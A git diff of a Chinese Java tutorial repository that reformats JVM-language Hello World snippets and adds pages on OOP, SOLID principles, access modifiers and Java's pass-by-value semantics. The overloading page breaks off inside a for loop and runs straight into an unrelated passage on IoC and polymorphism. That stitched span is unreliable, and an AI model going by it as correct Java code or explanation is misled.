+fun main(args: Array) {
+ println("Hello, world!")
+}
+```
### Groovy
@@ -31,10 +32,11 @@ Apache的Groovy是Java平台上设计的面向对象编程语言。它的语法
#### Hello World In Groovy
- static void main(String[] args) {
- println('Hello, world!');
- }
-
+```groovy
+static void main(String[] args) {
+ println('Hello, world!');
+}
+```
### Scala
@@ -44,12 +46,13 @@ Scala经常被我们描述为多模式的编程语言,因为它混合了来自
#### Hello World In Scala
- object HelloWorld {
- def main(args: Array[String]) {
- System.out.println("Hello, world!");
- }
- }
-
+```scala
+object HelloWorld {
+ def main(args: Array[String]) {
+ System.out.println("Hello, world!");
+ }
+ }
+```
### Jruby
@@ -57,8 +60,9 @@ JRuby是用来桥接Java与Ruby的,它是使用比Groovy更加简短的语法
#### Hello World In Jruby
- "puts 'Hello, world!'"
-
+```ruby
+puts 'Hello, world!'
+```
### Jython
@@ -66,8 +70,9 @@ Jython,是一个用Java语言写的Python解释器。Jython能够用Python语
#### Hello World In Jython
- print "Hello, world!"
-
+```py
+print "Hello, world!"
+```
### Fantom
@@ -77,11 +82,11 @@ Fantom是与Groovy以及JRuby差不多的一样面向对 象的编程语言,
#### Hello World In Fantom
- class Hello
- {
- static Void main() { echo("Hello, world!") }
- }
-
+```fantom
+class Hello {
+ static Void main() { echo("Hello, world!") }
+}
+```
### Clojure
@@ -91,9 +96,10 @@ Clojure是Lisp编程语言在Java平台上的现代、函数式及动态方言
#### Hello World In Clojure
- (defn -main [& args]
- (println "Hello, World!"))
-
+```clojure
+(defn -main [& args]
+ (println "Hello, World!"))
+```
### Rhino
@@ -103,8 +109,9 @@ Rhino的特点是为JavaScript加了个壳,然后嵌入到Java中,这样能
#### Hello World In Rhino
- print('Hello, world!')
-
+```js
+print('Hello, world!')
+```
### Ceylon
@@ -112,13 +119,14 @@ Ceylon是一种面向对象,强烈静态类型的编程语言,强调不变
#### Hello World In Ceylon
- shared void run() {
- print("Hello, world!");
- }
-
+```ceylon
+shared void run() {
+ print("Hello, world!");
+}
+```
### 总结
好啦,以上就是目前主流的可以在JVM上面运行的9种语言。加上Java正好10种。如果你是一个Java开发,那么有必要掌握以上9中的一种,这样可以在一些有特殊需求的场景中有更多的选择。推荐在Groovy、Scala、Kotlin中选一个。
- [1]: https://www.hollischuang.com/archives/2322
\ No newline at end of file
+[1]: https://www.hollischuang.com/archives/2322
diff --git a/docs/basics/object-oriented/multiple-inheritance.md b/docs/basics/object-oriented/multiple-inheritance.md
new file mode 100644
index 00000000..308636b5
--- /dev/null
+++ b/docs/basics/object-oriented/multiple-inheritance.md
@@ -0,0 +1,47 @@
+前面我们提到过:"Java中支持一个类同时实现多个接口,但是不支持同时继承多个类。但是这个问题在Java 8之后也不绝对了。"
+
+那么,是不是又很很想知道,为什么Java中不支持同时继承多个类呢?
+### 多继承
+
+一个类,只有一个父类的情况,我们叫做单继承。而一个类,同时有多个父类的情况,叫做多继承。
+
+在Java中,一个类,只能通过extends关键字继承一个类,不允许多继承。但是,多继承在其他的面向对象语言中是有可能支持的。
+
+像C++就是支持多继承的,主要是因为编程的过程是对现实世界的一种抽象,而现实世界中,确实存在着需要多继承的情况。比如维基百科中关于多继承举了一个例子:
+
+例如,可以创造一个“哺乳类动物”类别,拥有进食、繁殖等的功能;然后定义一个子类型“猫”,它可以从父类继承上述功能。
+
+但是,"猫"还可以作为"宠物"的子类,拥有一些宠物独有的能力。
+
+所以,有些面向对象语言是支持多重继承的。
+
+但是,多年以来,多重继承一直都是一个敏感的话题,反对者指它增加了程序的复杂性与含糊性。
+
+### 菱形继承问题
+
+
+假设我们有类B和类C,它们都继承了相同的类A。另外我们还有类D,类D通过多重继承机制继承了类B和类C。
+
+![][1]
+
+这时候,因为D同时继承了B和C,并且B和C又同时继承了A,那么,D中就会因为多重继承,继承到两份来自A中的属性和方法。
+
+这时候,在使用D的时候,如果想要调用一个定义在A中的方法时,就会出现歧义。
+
+因为这样的继承关系的形状类似于菱形,因此这个问题被形象地称为菱形继承问题。
+
+而C++为了解决菱形继承问题,又引入了**虚继承**。
+
+因为支持多继承,引入了菱形继承问题,又因为要解决菱形继承问题,引入了虚继承。而经过分析,人们发现我们其实真正想要使用多继承的情况并不多。
+
+所以,在 Java 中,不允许“实现多继承”,即一个类不允许继承多个父类。但是 Java 允许“声明多继承”,即一个类可以实现多个接口,一个接口也可以继承多个父接口。由于接口只允许有方法声明而不允许有方法实现(Java 8以前),这就避免了 C++ 中多继承的歧义问题。
+
+
+但是,Java不支持多继承,在Java 8中支持了默认函数(default method )之后就不那么绝对了。
+
+虽然我们还是没办法使用extends同时继承多个类,但是因为有了默认函数,我们有可能通过implements从多个接口中继承到多个默认函数,那么,又如何解决这种情况带来的菱形继承问题呢?
+
+这个问题,我们在后面第20.4章节中单独介绍。
+
+
+ [1]: https://www.hollischuang.com/wp-content/uploads/2021/02/16145019571199.jpg
\ No newline at end of file
diff --git a/docs/basics/object-oriented/object-oriented-vs-procedure-oriented.md b/docs/basics/object-oriented/object-oriented-vs-procedure-oriented.md
new file mode 100644
index 00000000..cb988ce5
--- /dev/null
+++ b/docs/basics/object-oriented/object-oriented-vs-procedure-oriented.md
@@ -0,0 +1,41 @@
+相信很多Java开发者,在最初接触Java的时候就听说过,Java是一种面向对象的开发语言,那么什么是面向对象呢?
+
+首先,所谓面向对象,其实是指软件工程中的一类编程风格,很多人称呼他们为开发范式、编程泛型(Programming Paradigm)。面向对象是众多开发范式中的一种。除了面向对象以外,还有面向过程、指令式编程、函数式编程等。
+
+虽然这几年函数式编程越来越被人们所熟知,但是,在所有的开发范式中,我们接触最多的主要还是面向过程和面向对象两种。
+
+那么,在本书的第一章的第一篇,我们来简单介绍下,什么是面向过程和面向对象。
+
+
+### 什么是面向过程?
+
+面向过程(Procedure Oriented)是一种以过程为中心的编程思想,是一种自顶而下的编程模式。最典型的面向过程的编程语言就是C语言。
+
+简单来说,面向过程的开发范式中,程序员需要把问题分解成一个一个步骤,每个步骤用函数实现,依次调用即可。
+
+就是说,在进行面向过程编程的时候,不需要考虑那么多,上来先定义一个函数,然后使用各种诸如if-else、for-each等方式进行代码执行。最典型的用法就是实现一个简单的算法,比如实现冒泡排序。
+
+面向过程进行的软件开发,其代码都是流程化的,很明确的可以看出第一步做什么、第二步做什么。这种方式的代码执行起来效率很高。
+
+但是,面向过程同时存在着代码重用性低,扩展能力差,后期维护难度比较大等问题。
+
+
+### 什么是面向对象?
+
+面向对象(Object Oriented)的雏形,最早在出现在1960年的Simula语言中,当时的程序设计领域正面临着一种危机:在软硬件环境逐渐复杂的情况下,软件如何得到良好的维护?
+
+面向对象程序设计在某种程度上通过强调可重复性解决了这一问题。目前较为流行的面向对象语言主要有Java、C#、C++、Python、Ruby、PHP等。
+
+简单来说,面向对象的开发范式中,程序员将问题分解成一个一个步骤,对每个步骤进行相应的抽象,形成对象,通过不同对象之间的调用,组合解决问题。
+
+就是说,在进行面向对象进行编程的时候,要把属性、行为等封装成对象,然后基于这些对象及对象的能力进行业务逻辑的实现。比如:想要造一辆车,上来要先把车的各种属性定义出来,然后抽象成一个Car类。
+
+面向对象的编程方法之所以更加受欢迎,是因为他更加符合人类的思维方式。这种方式编写出来的代码扩展性、可维护性都很高。
+
+与其实面向对象是一种开发范式,倒不如说面向对象是一种对现实世界的理解和抽象的方法。通过对现实世界的理解和抽象,在运用封装、继承、多态等方法,通过抽象出对象的方式进行软件开发。
+
+什么是封装、继承、多态?具体如何运营面向对象的方式编写代码呢?接下来我们介绍下面向对象具有三大基本特征和五大基本原则。
+
+
+
+
diff --git a/docs/basics/object-oriented/overloading-vs-overriding.md b/docs/basics/object-oriented/overloading-vs-overriding.md
new file mode 100644
index 00000000..952316d6
--- /dev/null
+++ b/docs/basics/object-oriented/overloading-vs-overriding.md
@@ -0,0 +1,87 @@
+重载(Overloading)和重写(Overriding)是Java中两个比较重要的概念。但是对于新手来说也比较容易混淆,本文就举两个实际的例子,来说明下到底是什么是重写和重载。
+
+## 定义
+
+首先我们分别来看一下重载和重写的定义:
+
+重载:指的是在同一个类中,多个函数或者方法有同样的名称,但是参数列表不相同的情形,这样的同名不同参数的函数或者方法之间,互相称之为重载函数或者方法。
+
+重写:指的是在Java的子类与父类中有两个名称、参数列表都相同的方法的情况。由于他们具有相同的方法签名,所以子类中的新方法将覆盖父类中原有的方法。
+
+## 重载的例子
+
+ class Dog{
+ public void bark(){
+ System.out.println("woof ");
+ }
+
+ //overloading method
+ public void bark(int num){
+ for(int i=0; i IOC,是Ioc—Inversion of Control 的缩写,中文翻译成“控制反转”,它是一种设计思想,意味着将你设计好的对象交给容器控制,而不是传统的在你的对象内部直接控制。
+>
+> 换句话说当我们使用Spring框架的时候,对象是Spring容器创建出来并由容器进行管理,我们只需要使用就行了。
+
+### 静态多态
+
+上面我们说的多态,是一种运行期的概念。另外,还有一种说法,认为多态还分为动态多态和静态多态。
+
+上面提到的那种动态绑定认为是动态多态,因为只有在运行期才能知道真正调用的是哪个类的方法。
+
+很多人认为,还有一种静态多态,一般认为Java中的函数重载是一种静态多态,因为他需要在编译期决定具体调用哪个方法。
+
+结合2.1章节,我们介绍过的重载和重写的相关概念,我们再来总结下重载和重写这两个概念:
+
+1、重载是一个编译期概念、重写是一个运行期概念。
+
+2、重载遵循所谓“编译期绑定”,即在编译时根据参数变量的类型判断应该调用哪个方法。
+
+3、重写遵循所谓“运行期绑定”,即在运行的时候,根据引用变量所指向的实际对象的类型来调用方法。
+
+4、Java中的方法重写是Java多态(子类型)的实现方式。而Java中的方法重写其实是特设多态的一种实现方式。
\ No newline at end of file
diff --git a/basics/java-basic/principle.md b/docs/basics/object-oriented/principle.md
similarity index 54%
rename from basics/java-basic/principle.md
rename to docs/basics/object-oriented/principle.md
index a7ed3044..2f93e606 100644
--- a/basics/java-basic/principle.md
+++ b/docs/basics/object-oriented/principle.md
@@ -1,37 +1,66 @@
-### 单一职责原则(Single-Resposibility Principle)
+面向对象开发范式的最大的好处就是易用、易扩展、易维护,但是,什么样的代码是易用、易扩展、易维护的呢?如何衡量他们呢?
-其核心思想为:一个类,最好只做一件事,只有一个引起它的变化。单一职责原则可以看做是低耦合、高内聚在面向对象原则上的引申,将职责定义为引起变化的原因,以提高内聚性来减少引起变化的原因。职责过多,可能引起它变化的原因就越多,这将导致职责依赖,相互之间就产生影响,从而大大损伤其内聚性和耦合度。通常意义下的单一职责,就是指只有一种单一功能,不要为类实现过多的功能点,以保证实体只有一个引起它变化的原因。
+罗伯特·C·马丁在21世纪早期提出了SOLID原则,这是五个原则的缩写的组合,这五个原则沿用至今。
+
+### 单一职责原则(Single-Responsibility Principle)
+
+其核心思想为:一个类,最好只做一件事,只有一个引起它的变化。
+
+单一职责原则可以看做是低耦合、高内聚在面向对象原则上的引申,将职责定义为引起变化的原因,以提高内聚性来减少引起变化的原因。职责过多,可能引起它变化的原因就越多,这将导致职责依赖,相互之间就产生影响,从而大大损伤其内聚性和耦合度。通常意义下的单一职责,就是指只有一种单一功能,不要为类实现过多的功能点,以保证实体只有一个引起它变化的原因。
专注,是一个人优良的品质;同样的,单一也是一个类的优良设计。交杂不清的职责将使得代码看起来特别别扭牵一发而动全身,有失美感和必然导致丑陋的系统错误风险。
### 开放封闭原则(Open-Closed principle)
-其核心思想是:软件实体应该是可扩展的,而不可修改的。也就是,对扩展开放,对修改封闭的。开放封闭原则主要体现在两个方面1、对扩展开放,意味着有新的需求或变化时,可以对现有代码进行扩展,以适应新的情况。2、对修改封闭,意味着类一旦设计完成,就可以独立完成其工作,而不要对其进行任何尝试的修改。
-实现开开放封闭原则的核心思想就是对抽象编程,而不对具体编程,因为抽象相对稳定。让类依赖于固定的抽象,所以修改就是封闭的;而通过面向对象的继承和多态机制,又可以实现对抽象类的继承,通过覆写其方法来改变固有行为,实现新的拓展方法,所以就是开放的。
+其核心思想是:软件实体应该是可扩展的,而不可修改的。也就是,对扩展开放,对修改封闭的。
+
+开放封闭原则主要体现在两个方面:
+
+1、对扩展开放,意味着有新的需求或变化时,可以对现有代码进行扩展,以适应新的情况。
+
+2、对修改封闭,意味着类一旦设计完成,就可以独立完成其工作,而不要对其进行任何尝试的修改。
+
+实现开放封闭原则的核心思想就是对抽象编程,而不对具体编程,因为抽象相对稳定。让类依赖于固定的抽象,所以修改就是封闭的;而通过面向对象的继承和多态机制,又可以实现对抽象类的继承,通过覆写其方法来改变固有行为,实现新的拓展方法,所以就是开放的。
“需求总是变化”没有不变的软件,所以就需要用封闭开放原则来封闭变化满足需求,同时还能保持软件内部的封装体系稳定,不被需求的变化影响。
-### Liskov替换原则(Liskov-Substituion Principle)
+### 里氏替换原则(Liskov-Substitution Principle)
+
+其核心思想是:子类必须能够替换其基类。这一思想体现为对继承机制的约束规范,只有子类能够替换基类时,才能保证系统在运行期内识别子类,这是保证继承复用的基础。
+
+在父类和子类的具体行为中,必须严格把握继承层次中的关系和特征,将基类替换为子类,程序的行为不会发生任何变化。同时,这一约束反过来则是不成立的,子类可以替换基类,但是基类不一定能替换子类。
+里氏替换原则,主要着眼于对抽象和多态建立在继承的基础上,因此只有遵循了Liskov替换原则,才能保证继承复用是可靠地。实现的方法是面向接口编程:将公共部分抽象为基类接口或抽象类,通过Extract Abstract Class,在子类中通过覆写父类的方法实现新的方式支持同样的职责。
-其核心思想是:子类必须能够替换其基类。这一思想体现为对继承机制的约束规范,只有子类能够替换基类时,才能保证系统在运行期内识别子类,这是保证继承复用的基础。在父类和子类的具体行为中,必须严格把握继承层次中的关系和特征,将基类替换为子类,程序的行为不会发生任何变化。同时,这一约束反过来则是不成立的,子类可以替换基类,但是基类不一定能替换子类。
-Liskov替换原则,主要着眼于对抽象和多态建立在继承的基础上,因此只有遵循了Liskov替换原则,才能保证继承复用是可靠地。实现的方法是面向接口编程:将公共部分抽象为基类接口或抽象类,通过Extract Abstract Class,在子类中通过覆写父类的方法实现新的方式支持同样的职责。
-Liskov替换原则是关于继承机制的设计原则,违反了Liskov替换原则就必然导致违反开放封闭原则。
-Liskov替换原则能够保证系统具有良好的拓展性,同时实现基于多态的抽象机制,能够减少代码冗余,避免运行期的类型判别。
+里氏替换原则是关于继承机制的设计原则,违反了Liskov替换原则就必然导致违反开放封闭原则。
+
+里氏替换原则能够保证系统具有良好的拓展性,同时实现基于多态的抽象机制,能够减少代码冗余,避免运行期的类型判别。
### 依赖倒置原则(Dependecy-Inversion Principle)
其核心思想是:依赖于抽象。具体而言就是高层模块不依赖于底层模块,二者都同依赖于抽象;抽象不依赖于具体,具体依赖于抽象。
+
我们知道,依赖一定会存在于类与类、模块与模块之间。当两个模块之间存在紧密的耦合关系时,最好的方法就是分离接口和实现:在依赖之间定义一个抽象的接口使得高层模块调用接口,而底层模块实现接口的定义,以此来有效控制耦合关系,达到依赖于抽象的设计目标。
抽象的稳定性决定了系统的稳定性,因为抽象是不变的,依赖于抽象是面向对象设计的精髓,也是依赖倒置原则的核心。
+
依赖于抽象是一个通用的原则,而某些时候依赖于细节则是在所难免的,必须权衡在抽象和具体之间的取舍,方法不是一层不变的。依赖于抽象,就是对接口编程,不要对实现编程。
### 接口隔离原则(Interface-Segregation Principle)
其核心思想是:使用多个小的专门的接口,而不要使用一个大的总接口。
+
具体而言,接口隔离原则体现在:接口应该是内聚的,应该避免“胖”接口。一个类对另外一个类的依赖应该建立在最小的接口上,不要强迫依赖不用的方法,这是一种接口污染。
+
接口有效地将细节和抽象隔离,体现了对抽象编程的一切好处,接口隔离强调接口的单一性。而胖接口存在明显的弊端,会导致实现的类型必须完全实现接口的所有方法、属性等;而某些时候,实现类型并非需要所有的接口定义,在设计上这是“浪费”,而且在实施上这会带来潜在的问题,对胖接口的修改将导致一连串的客户端程序需要修改,有时候这是一种灾难。在这种情况下,将胖接口分解为多个特点的定制化方法,使得客户端仅仅依赖于它们的实际调用的方法,从而解除了客户端不会依赖于它们不用的方法。
-分离的手段主要有以下两种:1、委托分离,通过增加一个新的类型来委托客户的请求,隔离客户和接口的直接依赖,但是会增加系统的开销。2、多重继承分离,通过接口多继承来实现客户的需求,这种方式是较好的。
+分离的手段主要有以下两种:
+
+1、委托分离,通过增加一个新的类型来委托客户的请求,隔离客户和接口的直接依赖,但是会增加系统的开销。
+
+2、多重继承分离,通过接口多继承来实现客户的需求,这种方式是较好的。
+
+以上就是5个基本的面向对象设计原则,它们就像面向对象程序设计中的金科玉律,遵守它们可以使我们的代码更加鲜活,易于复用,易于拓展,灵活优雅。
+
+不同的设计模式对应不同的需求,而设计原则则代表永恒的灵魂,需要在实践中时时刻刻地遵守。就如ARTHUR J.RIEL在那边《OOD启示录》中所说的:“你并不必严格遵守这些原则,违背它们也不会被处以宗教刑罚。但你应当把这些原则看做警铃,若违背了其中的一条,那么警铃就会响起。”
-以上就是5个基本的面向对象设计原则,它们就像面向对象程序设计中的金科玉律,遵守它们可以使我们的代码更加鲜活,易于复用,易于拓展,灵活优雅。不同的设计模式对应不同的需求,而设计原则则代表永恒的灵魂,需要在实践中时时刻刻地遵守。就如ARTHUR J.RIEL在那边《OOD启示录》中所说的:“你并不必严格遵守这些原则,违背它们也不会被处以宗教刑罚。但你应当把这些原则看做警铃,若违背了其中的一条,那么警铃就会响起。”
\ No newline at end of file
+很多人刚开始可能对这些原则无法深刻的理解,但是没关系,随着自己开发经验的增长,就会慢慢的可以理解这些原则了。
\ No newline at end of file
diff --git a/docs/basics/object-oriented/scope.md b/docs/basics/object-oriented/scope.md
new file mode 100644
index 00000000..f03889bf
--- /dev/null
+++ b/docs/basics/object-oriented/scope.md
@@ -0,0 +1,15 @@
+我们通过封装的手段,将成员变量、方法等包装在一个类中,那么,被封装在类中的这些成员变量和方法,能不能被外部访问呢?能被谁访问呢?
+
+这种能不能被访问、能被谁访问的特性,Java是通过访问控制修饰符来实现的。Java中,可以使用访问控制符来保护对类、变量、方法和构造方法的访问,Java 支持 4 种不同的访问权限。
+
+对于成员变量和方法的作用域,public,protected,private以及不写之间的区别:
+
+
+`public` : 表明该成员变量或者方法是对所有类或者对象都是可见的,所有类或者对象都可以直接访问
+
+`private` : 表明该成员变量或者方法是私有的,只有当前类对其具有访问权限,除此之外其他类或者对象都没有访问权限.子类也没有访问权限.
+
+`protected` : 表明成员变量或者方法对类自身,与同在一个包中的其他类可见,其他包下的类不可访问,除非是他的子类
+
+`default` : 表明该成员变量或者方法只有自己和其位于同一个包的内可见,其他包内的类不能访问,即便是它的子类
+
diff --git a/docs/basics/object-oriented/variable.md b/docs/basics/object-oriented/variable.md
new file mode 100644
index 00000000..b2ba4b2a
--- /dev/null
+++ b/docs/basics/object-oriented/variable.md
@@ -0,0 +1,35 @@
+Java中共有三种变量,分别是类变量、成员变量和局部变量。他们分别存放在JVM的方法区、堆内存和栈内存中。
+```java
+ /**
+ * @author Hollis
+ */
+ public class Variables {
+
+ /**
+ * 类变量
+ */
+ private static int a;
+
+ /**
+ * 成员变量
+ */
+ private int b;
+
+ /**
+ * 局部变量
+ * @param c
+ */
+ public void test(int c){
+ int d;
+ }
+ }
+```
+上面定义的三个变量中,变量a就是类变量,变量b就是成员变量,而变量c和d是局部变量。
+
+a作为类变量,他存放在方法区中;b作为成员变量,和对象一起存储在堆内存中(不考虑栈上分配的情况);c和d作为方法的局部变量,保存在栈内存中。
+
+之所以要在这一章节重点介绍下这三种变量类型,是因为很多人因为不知道这三种类型的区别,所以不知道他们分别存放在哪里,这就导致不知道那些变量需要考虑并发问题。
+
+关于并发问题,目前本书《基本篇》还不涉及,会在下一本《并发篇》中重点介绍,这里先简单说明一下:
+
+因为只有共享变量才会遇到并发问题,所以,变量a和b是共享变量,变量c和d是非共享变量。所以如果遇到多线程场景,对于变量a和b的操作是需要考虑线程安全的,而对于线程c和d的操作是不需要考虑线程安全的。
\ No newline at end of file
diff --git a/docs/basics/object-oriented/why-pass-by-reference.md b/docs/basics/object-oriented/why-pass-by-reference.md
new file mode 100644
index 00000000..f76bb96f
--- /dev/null
+++ b/docs/basics/object-oriented/why-pass-by-reference.md
@@ -0,0 +1,140 @@
+### Java的求值策略
+
+前面我们介绍过了传值调用、传引用调用以及传值调用的特例传共享对象调用,那么,Java中是采用的哪种求值策略呢?
+
+很多人说Java中的基本数据类型是值传递的,这个基本没有什么可以讨论的,普遍都是这样认为的。
+
+但是,有很多人却误认为Java中的对象传递是引用传递。之所以会有这个误区,主要是因为Java中的变量和对象之间是有引用关系的。Java语言中是通过对象的引用来操纵对象的。所以,很多人会认为对象的传递是引用的传递。
+
+而且很多人还可以举出以下的代码示例:
+
+ public static void main(String[] args) {
+ Test pt = new Test();
+
+ User hollis = new User();
+ hollis.setName("Hollis");
+ hollis.setGender("Male");
+ pt.pass(hollis);
+ System.out.println("print in main , user is " + hollis);
+ }
+
+ public void pass(User user) {
+ user.setName("hollischuang");
+ System.out.println("print in pass , user is " + user);
+ }
+
+
+输出结果:
+
+ print in pass , user is User{name='hollischuang', gender='Male'}
+ print in main , user is User{name='hollischuang', gender='Male'}
+
+
+可以看到,对象类型在被传递到pass方法后,在方法内改变了其内容,最终调用方main方法中的对象也变了。
+
+所以,很多人说,这和引用传递的现象是一样的,就是在方法内改变参数的值,会影响到调用方。
+
+但是,其实这是走进了一个误区。
+
+### Java中的对象传递
+
+很多人通过代码示例的现象说明Java对象是引用传递,那么我们就从现象入手,先来反驳下这个观点。
+
+我们前面说过,无论是值传递,还是引用传递,只不过是求值策略的一种,那求值策略还有很多,比如前面提到的共享对象传递的现象和引用传递也是一样的。那凭什么就说Java中的参数传递就一定是引用传递而不是共享对象传递呢?
+
+那么,Java中的对象传递,到底是哪种形式呢?其实,还真的就是共享对象传递。
+
+其实在 《The Java™ Tutorials》中,是有关于这部分内容的说明的。首先是关于基本类型描述如下:
+
+> Primitive arguments, such as an int or a double, are passed into methods by value. This means that any changes to the values of the parameters exist only within the scope of the method. When the method returns, the parameters are gone and any changes to them are lost.
+
+**即,原始参数通过值传递给方法。这意味着对参数值的任何更改都只存在于方法的范围内。当方法返回时,参数将消失,对它们的任何更改都将丢失。**
+
+关于对象传递的描述如下:
+
+> Reference data type parameters, such as objects, are also passed into methods by value. This means that when the method returns, the passed-in reference still references the same object as before. However, the values of the object’s fields can be changed in the method, if they have the proper access level.
+
+**也就是说,引用数据类型参数(如对象)也按值传递给方法。这意味着,当方法返回时,传入的引用仍然引用与以前相同的对象。但是,如果对象字段具有适当的访问级别,则可以在方法中更改这些字段的值。**
+
+这一点官方文档已经很明确的指出了,Java就是值传递,只不过是把对象的引用当做值传递给方法。你细品,这不就是共享对象传递么?
+
+**其实Java中使用的求值策略就是传共享对象调用,也就是说,Java会将对象的地址的拷贝传递给被调函数的形式参数。**只不过"传共享对象调用"这个词并不常用,所以Java社区的人通常说"Java是传值调用",这么说也没错,因为传共享对象调用其实是传值调用的一个特例。
+
+### 值传递和共享对象传递的现象冲突吗?
+
+看到这里很多人可能会有一个疑问,既然共享对象传递是值传递的一个特例,那么为什么他们的现象是完全不同的呢?
+
+难道值传递过程中,如果在被调方法中改变了值,也有可能会对调用者有影响吗?那到底什么时候会影响什么时候不会影响呢?
+
+其实是不冲突的,之所以会有这种疑惑,是因为大家对于到底是什么是"改变值"有误解。
+
+我们先回到上面的例子中来,看一下调用过程中实际上发生了什么?
+
+
+
+在参数传递的过程中,实际参数的地址`0X1213456`被拷贝给了形参。这个过程其实就是值传递,只不过传递的值得内容是对象的应用。
+
+那为什么我们改了user中的属性的值,却对原来的user产生了影响呢?
+
+其实,这个过程就好像是:你复制了一把你家里的钥匙给到你的朋友,他拿到钥匙以后,并没有在这把钥匙上做任何改动,而是通过钥匙打开了你家里的房门,进到屋里,把你家的电视给砸了。
+
+这个过程,对你手里的钥匙来说,是没有影响的,但是你的钥匙对应的房子里面的内容却是被人改动了。
+
+也就是说,**Java对象的传递,是通过复制的方式把引用关系传递了,如果我们没有改引用关系,而是找到引用的地址,把里面的内容改了,是会对调用方有影响的,因为大家指向的是同一个共享对象。**
+
+那么,如果我们改动一下pass方法的内容:
+
+ public void pass(User user) {
+ user = new User();
+ user.setName("hollischuang");
+ user.setGender("Male");
+ System.out.println("print in pass , user is " + user);
+ }
+
+
+上面的代码中,我们在pass方法中,重新new了一个user对象,并改变了他的值,输出结果如下:
+
+ print in pass , user is User{name='hollischuang', gender='Male'}
+ print in main , user is User{name='Hollis', gender='Male'}
+
+
+再看一下整个过程中发生了什么:
+
+
+
+这个过程,就好像你复制了一把钥匙给到你的朋友,你的朋友拿到你给他的钥匙之后,找个锁匠把他修改了一下,他手里的那把钥匙变成了开他家锁的钥匙。这时候,他打开自己家,就算是把房子点了,对你手里的钥匙,和你家的房子来说都是没有任何影响的。
+
+**所以,Java中的对象传递,如果是修改引用,是不会对原来的对象有任何影响的,但是如果直接修改共享对象的属性的值,是会对原来的对象有影响的。**
+
+### 总结
+
+我们知道,编程语言中需要进行方法间的参数传递,这个传递的策略叫做求值策略。
+
+在程序设计中,求值策略有很多种,比较常见的就是值传递和引用传递。还有一种值传递的特例——共享对象传递。
+
+值传递和引用传递最大的区别是传递的过程中有没有复制出一个副本来,如果是传递副本,那就是值传递,否则就是引用传递。
+
+在Java中,其实是通过值传递实现的参数传递,只不过对于Java对象的传递,传递的内容是对象的引用。
+
+**我们可以总结说,Java中的求值策略是共享对象传递,这是完全正确的。**
+
+但是,为了让大家都能理解你说的,**我们说Java中只有值传递,只不过传递的内容是对象的引用。这也是没毛病的。**
+
+但是,绝对不能认为Java中有引用传递。
+
+OK,以上就是本文的全部内容,不知道本文是否帮助你解开了你心中一直以来的疑惑。欢迎留言说一下你的想法。
+
+### 参考资料
+
+[The Java™ Tutorials][3]
+
+[Evaluation strategy][4]
+
+[Is Java “pass-by-reference” or “pass-by-value”?][5]
+
+[Passing by Value vs. by Reference Visual Explanation][6]
+
+ [3]: https://docs.oracle.com/javase/tutorial/java/javaOO/arguments.html
+ [4]: https://en.wikipedia.org/wiki/Evaluation_strategy
+ [5]: https://stackoverflow.com/questions/40480/is-java-pass-by-reference-or-pass-by-value
+ [6]: https://blog.penjee.com/passing-by-value-vs-by-reference-java-graphical/
diff --git a/docs/contact/book.jpeg b/docs/contact/book.jpeg
new file mode 100644
index 00000000..73a855ec
Binary files /dev/null and b/docs/contact/book.jpeg differ
diff --git a/docs/contact/wechat-hollis.jpg b/docs/contact/wechat-hollis.jpg
new file mode 100644
index 00000000..4457b539
Binary files /dev/null and b/docs/contact/wechat-hollis.jpg differ
diff --git a/docs/css/my.css b/docs/css/my.css
new file mode 100644
index 00000000..7b6a4ce2
--- /dev/null
+++ b/docs/css/my.css
@@ -0,0 +1,3 @@
+body {
+ overflow: auto !important;
+}
\ No newline at end of file
diff --git a/docs/icon/icon.JPG b/docs/icon/icon.JPG
new file mode 100644
index 00000000..9d276d62
Binary files /dev/null and b/docs/icon/icon.JPG differ
diff --git a/docs/icon/playbill.jpg b/docs/icon/playbill.jpg
new file mode 100644
index 00000000..3969027c
Binary files /dev/null and b/docs/icon/playbill.jpg differ
diff --git a/docs/index.html b/docs/index.html
new file mode 100644
index 00000000..2f044b7f
--- /dev/null
+++ b/docs/index.html
@@ -0,0 +1,66 @@
+
+
+
+
+ Java工程师成神之路
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/docs/menu.md b/docs/menu.md
new file mode 100644
index 00000000..6f69aef5
--- /dev/null
+++ b/docs/menu.md
@@ -0,0 +1,2010 @@
+## To Be Top Javaer - Java工程师成神之路
+
+  
+
+成神之路系列丛书的第一本《深入理解Java核心技术(基础篇)》已经正式出版了,这本书囊括了中基础篇的几乎全部内容,欢迎大家购买品鉴。
+
+
+
+| 主要版本 | 更新时间 | 备注 |
+| ---- | ---------- | -------------- |
+| v4.0 | 2022-05-20 | 知识体系完善,知识点补充|
+| v3.0 | 2020-03-31 | 知识体系完善,在v2.0的基础上,新增20%左右的知识点 调整部分知识的顺序及结构,方便阅读和理解 通过GitHub Page搭建,便于阅读|
+| v2.0 | 2019-02-19 | 结构调整,更适合从入门到精通; 进一步完善知识体系; 新技术补充;|
+| v1.1 | 2018-03-12 | 增加新技术知识、完善知识体系 |
+| v1.0 | 2015-08-01 | 首次发布 |
+
+
+目前正在更新中...
+
+欢迎大家参与共建~
+
+### 联系我们
+
+欢迎关注作者的公众号,可以直接后台留言。
+
+
+
+*公众号后台回复:"成神导图",即可获取《Java工程师成神之路最新版思维导图》*
+
+
+### 关于作者
+
+Hollis,阿里巴巴技术专家,51CTO专栏作家,CSDN博客专家,掘金优秀作者,《程序员的三门课》联合作者,《Java工程师成神之路》系列文章作者;热衷于分享计算机编程相关技术,博文全网阅读量上千万。
+
+
+### 开源协议
+
+本着互联网的开放精神,本项目采用开放的[GPL]协议进行许可。
+
+
+### 参与共建
+
+如果您对本项目中的内容有建议或者意见
+
+如果你对本项目中未完成的章节感兴趣
+
+欢迎提出专业方面的修改建议及供稿,供稿只接受原创
+
+请直接在[GitHub](https://github.com/hollischuang/toBeTopJavaer)上以issue或者PR的形式提出
+
+如果本项目中的内容侵犯了您的任何权益,欢迎通过邮箱(hollischuang@gmail)与我联系
+
+### 在线阅读地址
+
+GitHub Pages 完整阅读:[进入](https://hollischuang.github.io/toBeTopJavaer/)
+
+Gitee Pages 完整阅读:[进入](http://hollischuang.gitee.io/tobetopjavaer) (国内访问速度较快)
+
+
+### 目录
+
+
+* 基础篇
+
+ * 面向对象
+
+ * 什么是面向对象
+
+ * [面向对象与面向过程](/basics/object-oriented/object-oriented-vs-procedure-oriented.md)
+
+ * [面向对象的三大基本特征](/basics/object-oriented/characteristics.md)
+
+ * [面向对象的五大基本原则](/basics/object-oriented/principle.md)
+
+ * 封装、继承、多态
